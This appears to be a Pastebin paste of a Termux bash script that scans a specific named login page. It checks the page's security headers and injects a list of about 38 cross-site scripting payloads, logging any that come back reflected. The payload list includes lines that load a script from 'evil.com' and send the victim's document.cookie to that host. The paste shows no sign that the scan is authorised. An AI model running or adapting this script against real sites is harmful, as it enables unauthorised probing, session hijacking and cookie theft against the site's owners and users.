WhosYourDaddySec

https://certik.com

Apr 13th, 2025
43
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.04 KB | None | 0 0
  1. #!/data/data/com.termux/files/usr/bin/bash
  2.  
  3. TARGET="https://m.skyharbor.certik.com/login"
  4. OUT="$HOME/skyharbor_full_audit_$(date +%Y%m%d_%H%M%S).log"
  5. TMP="$HOME/skyharbor_scan"
  6. HTML="$TMP/page.html"
  7. HEADERS="$TMP/headers.txt"
  8. PAYLOADS="$TMP/payloads.txt"
  9. TMP_RESULT="$TMP/temp_result.txt"
  10.  
  11. mkdir -p "$TMP"
  12. : > "$OUT"
  13. : > "$TMP_RESULT"
  14.  
  15. log() {
  16. echo "$(date '+%Y-%m-%d %H:%M:%S') [LOG] $1" >> "$OUT"
  17. }
  18.  
  19. inject_payloads() {
  20. local target="$1"
  21. local payload_file="$2"
  22. while read -r p; do
  23. log "Testing Payload: $p"
  24. response=$(curl -skG --data-urlencode "q=$p" "$target")
  25. if echo "$response" | grep -q "$p"; then
  26. log "[!!] Payload reflected: $p"
  27. else
  28. log "[OK] Payload not reflected: $p"
  29. fi
  30. done < "$payload_file"
  31. }
  32.  
  33. log "Target: $TARGET"
  34. log "Scan Time: $(date)"
  35.  
  36. curl -skL "$TARGET" -o "$HTML"
  37. curl -skI "$TARGET" > "$HEADERS"
  38.  
  39. log "[HEADERS]"
  40. cat "$HEADERS" >> "$OUT"
  41.  
  42. for header in \
  43. "Content-Security-Policy" \
  44. "X-Frame-Options" \
  45. "Strict-Transport-Security" \
  46. "Permissions-Policy" \
  47. "X-Content-Type-Options" \
  48. "X-XSS-Protection"; do
  49.  
  50. if grep -qi "$header" "$HEADERS"; then
  51. log "[OK] $header header found"
  52. else
  53. log "[!!] $header header missing"
  54. fi
  55. done
  56.  
  57. log "[XSS INJECTION VECTORS]"
  58. cat <<'EOF' > "$PAYLOADS"
  59. <script>alert(1)</script>
  60. "><script>alert(1)</script>
  61. '><script>alert(1)</script>
  62. "><img src=x onerror=alert(1)>
  63. ';alert(String.fromCharCode(88,83,83))//
  64. <svg/onload=alert(1)>
  65. <svg><script>alert(1)</script>
  66. <svg><desc><![CDATA[><script>alert(1)</script>]]></desc>
  67. <iframe src=javascript:alert(1)>
  68. <math><mtext></mtext><script>alert(1)</script></math>
  69. <body onload=alert('XSS')>
  70. <video><source onerror="alert(1)">
  71. <details open ontoggle=alert(1)>
  72. <isindex type=image src onerror=alert(1)>
  73. <marquee onstart=alert(1)>
  74. <input autofocus onfocus=alert(1)>
  75. <keygen autofocus onfocus=alert(1)>
  76. <object data="javascript:alert(1)">
  77. <form><button formaction="javascript:alert(1)">CLICK
  78. <a href="data:text/html,<script>alert(1)</script>">link
  79. <base href="javascript://"><script src=.</script>
  80. <iframe srcdoc="<script>alert(1)</script>">
  81. <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
  82. "><svg/onload=alert(/XSS/)>
  83. <script/src="data:text/javascript,alert(1)">
  84. <img src="x" onerror=alert(document.cookie)>
  85. <video src onerror="this.onerror=null;alert('XSS')">
  86. <style>@import 'javascript:alert(1)'</style>
  87. <math><maction xlink:href="javascript:alert(1)">CLICK
  88. <xml><script>alert(1)</script></xml>
  89. <script src="http://evil.com/xss.js"></script>
  90. <script>window.location='http://evil.com/'+document.cookie</script>
  91. <script>eval('ale'+'rt(1)')</script>
  92. <script>Function('alert(1)')()</script>
  93. <script>setTimeout('alert(1)',100)</script>
  94. <script>setInterval('alert(1)',100)</script>
  95. <iframe src="data:text/html,<script>alert(1)</script>">
  96. <svg><a xlink:href="javascript:alert(1)">CLICK</a></svg>
  97. EOF
  98.  
  99. inject_payloads "$TARGET" "$PAYLOADS"
  100.  
  101. log "[SRI-INTEGRITY CHECKS]"
  102. grep -Eo '<link[^>]+href="[^"]+"' "$HTML" | grep "fonts" | grep -v "integrity=" > "$TMP_RESULT"
  103. cat "$TMP_RESULT" >> "$OUT"
  104.  
  105. log "[STATIC PATH EXPOSURE]"
  106. grep -o "/_next/static/[^\"']*" "$HTML" | sort -u > "$TMP_RESULT"
  107. cat "$TMP_RESULT" >> "$OUT"
  108.  
  109. log "[EXTERNAL JS/CSS FILES]"
  110. grep -Eo 'src="[^"]+\.js' "$HTML" | cut -d'"' -f2 | sort -u > "$TMP_RESULT"
  111. cat "$TMP_RESULT" >> "$OUT"
  112. grep -Eo 'href="[^"]+\.css' "$HTML" | cut -d'"' -f2 | sort -u >> "$TMP_RESULT"
  113. cat "$TMP_RESULT" >> "$OUT"
  114.  
  115. log "[CORS CHECK]"
  116. grep -i "crossorigin" "$HTML" | grep "preconnect" | grep -v "dns-prefetch" > "$TMP_RESULT"
  117. cat "$TMP_RESULT" >> "$OUT"
  118.  
  119. log "[JS EXECUTION POINTS]"
  120. grep -i "<script" "$HTML" > "$TMP_RESULT"
  121. cat "$TMP_RESULT" >> "$OUT"
  122. grep -i "onerror=" "$HTML" >> "$TMP_RESULT"
  123. grep -i "onload=" "$HTML" >> "$TMP_RESULT"
  124. grep -i "onmouseover=" "$HTML" >> "$TMP_RESULT"
  125. grep -i "onclick=" "$HTML" >> "$TMP_RESULT"
  126. cat "$TMP_RESULT" >> "$OUT"
  127.  
  128. log "[COMPLETED]"
  129. echo "Audit complete. Log saved at: $OUT"
Add Comment
Please, Sign In to add comment